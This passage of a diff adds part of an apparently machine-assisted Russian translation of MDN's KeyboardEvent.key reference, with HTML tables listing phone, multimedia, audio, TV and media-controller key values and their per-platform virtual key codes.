+   <td><code>Qt::Key_Context4</code> (0x01100003)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Телефонные_клавиши">Телефонные клавиши</h2>
+
+<p>Эти клавиши представляют собой кнопки, которые обычно существуют на современных смартфонах.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AppSwitch"</code></td>
+   <td>Представляет список недавно использованных приложений, который позволяет пользователю быстро переключаться между приложениями.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_APP_SWITCH</code> (181)</td>
+  </tr>
+  <tr>
+   <td><code>"Call"</code></td>
+   <td>Кнопка вызова <kbd>Call</kbd>. Набирает номер, который был введен.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Call</code> (0x01100004)</td>
+   <td><code>KEYCODE_CALL</code> (5)</td>
+  </tr>
+  <tr>
+   <td><code>"Camera"</code></td>
+   <td>Кнопка камеры <kbd>Camera</kbd>. Включает камеру.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Camera</code> (0x01100020)</td>
+   <td><code>KEYCODE_CAMERA</code> (27)</td>
+  </tr>
+  <tr>
+   <td><code>"CameraFocus"</code></td>
+   <td>Кнопка фокусировки <kbd>Focus</kbd>. Фокусирует камеру.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_CameraFocus</code> (0x01100021)</td>
+   <td><code>KEYCODE_FOCUS</code> (80)</td>
+  </tr>
+  <tr>
+   <td><code>"EndCall"</code></td>
+   <td>Кнопка завершения вызова <kbd>End Call</kbd> или <kbd>Hang Up</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Hangup</code> (0x01100005)</td>
+   <td><code>KEYCODE_ENDCALL</code> (6)</td>
+  </tr>
+  <tr>
+   <td><code>"GoBack"</code></td>
+   <td>Кнопка "Назад" <kbd>Back</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_BACK</code> (4)</td>
+  </tr>
+  <tr>
+   <td><code>"GoHome"</code> [1]</td>
+   <td>Кнопка <kbd>Home</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">Возвращает пользователя на главный экран телефона (обычно это средство запуска приложений).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_HOME</code> (3)</td>
+  </tr>
+  <tr>
+   <td><code>"HeadsetHook"</code></td>
+   <td>Клавиша гарнитуры<kbd>Headset Hook</kbd>. Обычно это кнопка на гарнитуре, которая используется для отбоя вызовов и воспроизведения или приостановки мультимедиа.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_ToggleCallHangup</code> (0x01100007)</td>
+   <td><code>KEYCODE_HEADSETHOOK</code> (79)</td>
+  </tr>
+  <tr>
+   <td><code>"LastNumberRedial"</code></td>
+   <td>Клавиша перенабора номера <kbd>Redial</kbd>. Набирает последний набранный номер.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_LastNumberRedial</code> (0x01100009)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Notification"</code></td>
+   <td>Клавиша уведомления<kbd>Notification</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_NOTIFICATION</code> (83)</td>
+  </tr>
+  <tr>
+   <td><code>"MannerMode"</code></td>
+   <td>Кнопка, которая циклически переключается между режимами уведомлений: бесшумный, вибрировать, звонить и так далее.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_MANNER_MODE</code> (205)</td>
+  </tr>
+  <tr>
+   <td><code>"VoiceDial"</code></td>
+   <td>Клавиша<kbd>Voice Dial</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">Запускает голосовой набор.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_VoiceDial</code> (0x01100008)</td>
+   <td><code>KEYCODE_VOICE_ASSIST</code> (231)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, кнопка Home генерирует значение <code>"Exit"</code>. Начиная с Firefox 37, генерирует <code>"MozHomeScreen"</code>.</p>
+
+<h2 id="Мультимедийные_клавиши"><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши - это дополнительные кнопки или клавиши для управления мультимедийными устройствами, которые есть на некоторых клавиатурах.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"ChannelDown"</code></td>
+   <td>Переключается на предыдущий канал.</td>
+   <td><code>APPCOMMAND_MEDIA_CHANNEL_DOWN</code></td>
+   <td></td>
+   <td><code>Qt::Key_ChannelDown</code> (0x01000119)</td>
+   <td><code>KEYCODE_CHANNEL_DOWN</code> (167)</td>
+  </tr>
+  <tr>
+   <td><code>"ChannelUp"</code></td>
+   <td>Переключается на следующий канал.</td>
+   <td><code>APPCOMMAND_MEDIA_CHANNEL_UP</code></td>
+   <td></td>
+   <td><code>Qt::Key_ChannelUp</code> (0x01000118)</td>
+   <td><code>KEYCODE_CHANNEL_UP</code> (166)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaFastForward"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Запускает, продолжает или увеличивает скорость быстрой перемотки мультимедиа вперед.</span></span></td>
+   <td><code>APPCOMMAND_MEDIA_FAST_FORWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioForward (0x1008FF97)<br>
+    Qt:Key_AudioForward</code> (0x01000102)</td>
+   <td><code>KEYCODE_MEDIA_FAST_FORWARD</code> (90)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaPause"</code></td>
+   <td>
+    <p>Приостанавливает воспроизведение текущего медиафайла.</p>
+
+    <div class="blockIndicator note">
+    <p><strong>Заметка:</strong> Некоторые старые приложения используют просто "паузу", но это неверно.</p>
+    </div>
+   </td>
+   <td><code>APPCOMMAND_MEDIA_PAUSE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPause</code> (0x1008FF31)<br>
+    <code>Qt::Key_MediaPause</code> (0x1000085)</td>
+   <td><code>KEYCODE_MEDIA_PAUSE</code> (127)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaPlay"</code></td>
+   <td>Запускает или продолжает воспроизведение мультимедиа с нормальной скоростью, если еще не делает этого. В противном случае не имеет эффекта.</td>
+   <td><code>APPCOMMAND_MEDIA_PLAY</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPlay</code> (0x1008FF14)</td>
+   <td><code>KEYCODE_MEDIA_PLAY</code><code> (126)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaPlayPause"</code></td>
+   <td>Переключение между воспроизведением и приостановкой текущего медиафайла.</td>
+   <td><code>VK_MEDIA_PLAY_PAUSE</code> (0xB3)<br>
+    <code>APPCOMMAND_MEDIA_PLAY_PAUSE</code></td>
+   <td></td>
+   <td><code>Qt::Key_MediaTogglePlayPause</code> (0x1000086)</td>
+   <td><code>KEYCODE_MEDIA_PLAY_PAUSE</code> (85)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaRecord"</code></td>
+   <td>Запуск или возобновление записи медиафайла.</td>
+   <td><code>APPCOMMAND_MEDIA_RECORD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRecord</code> (0x1008FF1C)<br>
+    <code>Qt::Key_MediaRecord</code> (0x01000084)</td>
+   <td><code>KEYCODE_MEDIA_RECORD</code><code> (130)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaRewind"</code></td>
+   <td>Запуск, продолжение или увеличение скорости перемотки медиафайла.</td>
+   <td><code>APPCOMMAND_MEDIA_REWIND</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRewind</code> (0x1008FF3E)<br>
+    <code>Qt::Key_AudioRewind</code> (0x010000C5)</td>
+   <td><code>KEYCODE_MEDIA_REWIND</code><code> (89)</code></td>
+  </tr>
+  <tr>
+   <td><code>"MediaStop"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Останавливает текущую медиа-активность (такую как воспроизведение, запись, пауза, перемотка вперед или назад).</span> <span title="">Не действует, если медиафайл уже остановлен.</span></span></td>
+   <td><code>VK_MEDIA_STOP</code> (0xB2)<br>
+    <code>APPCOMMAND_MEDIA_STOP</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioStop</code> (0x1008FF15)<br>
+    <code>Qt::Key_MediaStop</code> (0x01000081)</td>
+   <td><code>KEYCODE_MEDIA_STOP</code> (86)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaTrackNext"</code> [1]</td>
+   <td>Seeks to the next media or program track.</td>
+   <td><code>VK_MEDIA_NEXT_TRACK</code> (0xB0)<br>
+    <code>APPCOMMAND_MEDIA_NEXTTRACK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioNext</code> (0x1008FF17)<br>
+    <code>Qt::Key_MediaNext</code> (0x01000083)</td>
+   <td><code>KEYCODE_MEDIA_NEXT</code> (87)</td>
+  </tr>
+  <tr>
+   <td><code>"MediaTrackPrevious"</code> [1]</td>
+   <td>Seeks to the previous media or program track.</td>
+   <td><code>VK_MEDIA_PREV_TRACK</code> (0xB1)<br>
+    <code>APPCOMMAND_MEDIA_PREVIOUSTRACK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioPrev</code> (0x1008FF16)<br>
+    <code>Qt::Key_MediaPrevious</code> (0x01000082)</td>
+   <td><code>KEYCODE_MEDIA_PREVIOUS</code> (88)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, и Firefox (36 и более ранние) используют <code>"MediaNextTrack"</code> и <code>"MediaPreviousTrack"</code> вместо <code>"MediaTrackNext"</code> и <code>"MediaTrackPrevious"</code>.</p>
+
+<p>[2] До Firefox 37, Firefox генерировал значение <code>"FastFwd"</code> <span class="tlid-translation translation" lang="ru"><span title="">на некоторых платформах и</span></span> <code>"Unidentified"</code> на других вместо <code>"MediaFastForward"</code>.</p>
+
+<h2 id="Клавиши_управления_звуком"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши управления звуком</span></span></h2>
+
+<p>Эти мультимедийные клавиши используются специально для управления звуком.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"AudioBalanceLeft"</code></td>
+   <td>Регулирует баланс звука влево.</td>
+   <td><code>VK_AUDIO_BALANCE_LEFT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBalanceRight"</code></td>
+   <td>Регулирует баланс звука вправо.</td>
+   <td><code>VK_AUDIO_BALANCE_RIGHT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassDown"</code></td>
+   <td>Уменьшает количество басов.</td>
+   <td><code>APPCOMMAND_BASS_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Уменьшает степень усиления басов или циклически перемещается вниз по набору режимов или состояний усиления басов.</span></span></td>
+   <td><code>VK_BASS_BOOST_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostToggle"</code></td>
+   <td>Включает и выключает усиление басов.</td>
+   <td><code>APPCOMMAND_BASS_BOOST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassBoostUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает степень усиления басов или циклически перемещается вверх по набору режимов или состояний усиления басов.</span></span></td>
+   <td><code>VK_BASS_BOOST_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioBassUp"</code></td>
+   <td>Увеличивает количество басов.</td>
+   <td><code>APPCOMMAND_BASS_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioFaderFront"</code></td>
+   <td>Смещает регулятор уровня сигнала вперед.</td>
+   <td><code>VK_FADER_FRONT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioFaderRear"</code></td>
+   <td>Смещает регулятор уровня сигнала назад.</td>
+   <td><code>VK_FADER_REAR</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioSurroundModeNext"</code></td>
+   <td>Выбор следующего доступного режима объемного звучания.</td>
+   <td><code>VK_SURROUND_MODE_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioTrebleDown"</code></td>
+   <td>Уменьшает количество высоких частот.</td>
+   <td><code>APPCOMMAND_TREBLE_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioTrebleUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отключает звук.</span></span></td>
+   <td><code>APPCOMMAND_TREBLE_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeDown" [1]</code></td>
+   <td>Уменьшает громкость звука.</td>
+   <td><code>VK_VOLUME_DOWN</code> (0xAE)<br>
+    <code>APPCOMMAND_VOLUME_DOWN</code></td>
+   <td><code>kVK_VolumeDown</code> (0x49)</td>
+   <td><code>GDK_KEY_AudioLowerVolume</code> (0x1008FF11)<br>
+    <code>Qt::Key_VolumeDown</code> (0x01000070)</td>
+   <td><code>KEYCODE_VOLUME_DOWN</code> (25)</td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeMute" [1]</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отключает звук.</span></span></td>
+   <td><code>VK_VOLUME_MUTE</code> (0xAD)<br>
+    <code>APPCOMMAND_VOLUME_MUTE</code></td>
+   <td><code>kVK_Mute</code> (0x4A)</td>
+   <td><code>GDK_KEY_AudioMute</code> (0x1008FF12)<br>
+    <code>Qt::Key_VolumeMute</code> (0x01000071)</td>
+   <td><code>KEYCODE_VOLUME_MUTE</code> (164)</td>
+  </tr>
+  <tr>
+   <td><code>"AudioVolumeUp" [1]</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает громкость звука.</span></span></td>
+   <td><code>VK_VOLUME_UP</code> (0xAF)<br>
+    <code>APPCOMMAND_VOLUME_UP</code></td>
+   <td><code>kVK_VolumeUp</code> (0x48)</td>
+   <td><code>GDK_KEY_AudioRaiseVolume</code> (0x1008FF13)<br>
+    <code>Qt::Key_VolumeUp</code> (0x01000072)</td>
+   <td><code>KEYCODE_VOLUME_UP</code> (24)</td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает микрофон.</span></span></td>
+   <td><code>APPCOMMAND_MIC_ON_OFF_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeDown"</code></td>
+   <td>Уменьшает громкость входного сигнала микрофона.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_DOWN</code></td>
+   <td></td>
+   <td><code>Qt::Key_MicVolumeDown</code> (0x0100011E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeMute"</code></td>
+   <td>Отключает микрофонный вход.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_MUTE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioMicMute</code> (0x1008FFB2)<br>
+    <code>Qt::Key_MicMute</code> (0x01000113)</td>
+   <td><code>KEYCODE_MUTE</code> (91)</td>
+  </tr>
+  <tr>
+   <td><code>"MicrophoneVolumeUp"</code></td>
+   <td>Увеличивает громкость входного сигнала микрофона.</td>
+   <td><code>APPCOMMAND_MICROPHONE_VOLUME_UP</code></td>
+   <td></td>
+   <td><code>Qt::Key_MicVolumeUp</code> (0x0100011D)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, и Firefox (48 и более ранние) используют <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, и <code>"VolumeMute"</code> вместо <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, и <code>"AudioVolumeMute"</code>. В Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">они были обновлены в соответствии с последней спецификацией.</span> <span title="">Старые имена все еще используются в </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p>
+
+<h2 id="Клавиши_управления_ТВ"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши управления ТВ</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Эти ключевые значения представляют собой кнопки или клавиши на телевизионных устройствах, компьютерах или телефонах с поддержкой телевидения.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"TV"</code> [1]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает в режим просмотра ТВ.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV</code> (170)</td>
+  </tr>
+  <tr>
+   <td><code>"TV3DMode"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим 3D TV.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_3D_MODE</code> (206)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAntennaCable"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между антенным и кабельным входами.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_ANTENNA_CABLE</code> (242)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescription"</code></td>
+   <td>Включает и выключает режим описания звука.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION</code> (252)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescriptionMixDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Уменьшает громкость микширования аудиоописаний;</span> <span title="">уменьшает громкость аудиоописаний относительно звука программы.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION_MIX_DOWN</code> (254)</td>
+  </tr>
+  <tr>
+   <td><code>"TVAudioDescriptionMixUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает громкость микширования аудиоописаний;</span> <span title="">увеличивает громкость аудиоописаний относительно звука программы.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_AUDIO_DESCRIPTION_MIX_UP</code> (253)</td>
+  </tr>
+  <tr>
+   <td><code>"TVContentsMenu"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отображает или скрывает мультимедийное содержимое, доступное для воспроизведения (это может быть руководство по каналам, показывающее программы, транслируемые в данный момент, или список мультимедийных файлов для воспроизведения).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_CONTENTS_MENU</code> (256)</td>
+  </tr>
+  <tr>
+   <td><code>"TVDataService"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Отображает или скрывает сервисное меню данных телевизора.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_DATA_SERVICE</code> (230)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInput"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает источник сигнала на внешнем телевизоре.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT</code> (178)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComponent1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Компонент 1».</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPONENT_1</code> (249)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComponent2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Компонент</span></span> 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPONENT_2</code> (250)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComposite1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Композитный 1».</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPOSITE_1</code> (247)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputComposite2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «Композитный</span></span> 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_COMPOSITE_2</code> (248)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход «HDMI 1».</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_1</code> (243)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI2"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "HDMI 2."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_2</code> (244)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "HDMI 3."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_3</code> (245)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputHDMI4"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "HDMI 4."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_HDMI_4</code> (246)</td>
+  </tr>
+  <tr>
+   <td><code>"TVInputVGA1"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключает на вход</span></span> "VGA 1."</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_INPUT_VGA_1</code> (251)</td>
+  </tr>
+  <tr>
+   <td><code>"TVMediaContext"</code></td>
+   <td>Клавиша контекстного меню мультимедиа.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_MEDIA_CONTEXT_MENU</code> (257)</td>
+  </tr>
+  <tr>
+   <td><code>"TVNetwork"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включение и выключение сетевого подключения телевизора.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_NETWORK</code> (241)</td>
+  </tr>
+  <tr>
+   <td><code>"TVNumberEntry"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переведите телевизор в режим ввода номера.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_NUMBER_ENTRY</code> (234)</td>
+  </tr>
+  <tr>
+   <td><code>"TVPower"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка питания устройства.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_POWER</code> (177)</td>
+  </tr>
+  <tr>
+   <td><code>"TVRadioService"</code></td>
+   <td>Кнопка радио</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_RADIO_SERVICE</code> (232)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatellite"</code></td>
+   <td>Кнопка спутника</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE</code> (237)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteBS"</code></td>
+   <td>Broadcast Satellite button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_BS</code> (238)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteCS"</code></td>
+   <td>Communication Satellite button.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_CS</code> (239)</td>
+  </tr>
+  <tr>
+   <td><code>"TVSatelliteToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между доступными спутниками.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_SATELLITE_SERVICE</code> (240)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTerrestrialAnalog"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает услугу аналогового наземного телевидения (аналоговый кабельный или антенный прием).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TERRESTRIAL_ANALOG</code> (235)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTerrestrialDigital"</code></td>
+   <td>Выбирает услугу цифрового наземного телевидения (цифровой кабельный или антенный прием).</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TERRESTRIAL_DIGITAL</code> (236)</td>
+  </tr>
+  <tr>
+   <td><code>"TVTimer"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка программирования таймера.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TIMER_PROGRAMMING</code> (258)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] В Firefox добавлена надлежащая поддержка для клавиши <code>"TV"</code> в Firefox 37; до этого, эта клавиша генерировала значение <code>"Live"</code>.</p>
+
+<p>[2] Эти клавиши возвращали <code>"Unidentified"</code> до Firefox 37.</p>
+
+<h2 id="Клавиши_медиа-контроллера"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши медиа-контроллера</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Поскольку современные пульты дистанционного управления для мультимедийных устройств часто включают кнопки, помимо базовых элементов управления, описанных в другом месте в этом документе, ключевые значения определены для широкого набора этих дополнительных кнопок.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Приведенные ниже значения частично получены из ряда технических характеристик бытовой электроники:</span></span></p>
+
+<ul>
+ <li><a href="http://atsc.org/standard/a100-dtv-application-software-environment-level-1-dase-1/">DTV Application Software Environment</a> (часть спецификации {{interwiki("wikipedia", "ATSC")}})</li>
+ <li><a href="http://www.cablelabs.com/specifications/OC-SP-OCAP1.1.3-100603.pdf">Open Cable Application Platform 1.1.3</a></li>
+ <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Веб-протокол и фреймворк для удаленного пользовательского интерфейса в сетях UPnP ™ и Интернете</li>
+ <li><a href="http://developer.android.com/reference/android/view/KeyEvent.html">Android KeyEvent key code values</a></li>
+</ul>
+
+<div class="note">
